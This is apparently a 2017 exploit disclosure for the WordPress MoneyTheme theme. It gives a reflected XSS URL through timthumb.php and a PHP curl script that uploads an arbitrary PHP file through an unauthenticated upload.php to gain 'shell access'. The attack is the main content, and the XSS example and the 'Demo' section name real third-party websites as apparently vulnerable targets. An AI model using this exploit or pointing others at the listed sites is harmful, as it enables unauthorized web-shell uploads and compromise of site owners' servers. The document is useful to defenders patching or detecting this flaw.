Title : Wordpress MoneyTheme Themes XSS / Arbitrary File Upload
#Author : Dyar Sahdi
#Date : 8/18/2017
--------------------------
Cross Site Scripting
------------------------
http://site-target/wp-content/themes/MoneyTheme/timthumb.php?src=[XSS].jpg
-------------------
Example :
http://cheapcompoundbow.com/wp-content/themes/MoneyTheme/timthumb.php?src=<h1>DevilScreaM</h1>.jpg
-----------
Script File Upload
----------------------
Arbitrary File Upload
Exploit :
<?php
$uploadfile="devilscream.php";
$ch = curl_init("http://site-target/wp-content/themes/MoneyTheme/uploads/upload.php?folder=/wp-content/themes/MoneyTheme/uploads/uploads/");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
Shell Access : http://site-target/wp-content/themes/MoneyTheme/uploads/uploads/devilscream.php
devilscream.php
<?php
phpinfo();
?>
-----------------------------------------------------
# Demo:
-------------
http://wellontop.com/wp-content/themes/MoneyTheme/uploads/upload.php
http://copiouscash.com/wp-content/themes/MoneyTheme/uploads/upload.php
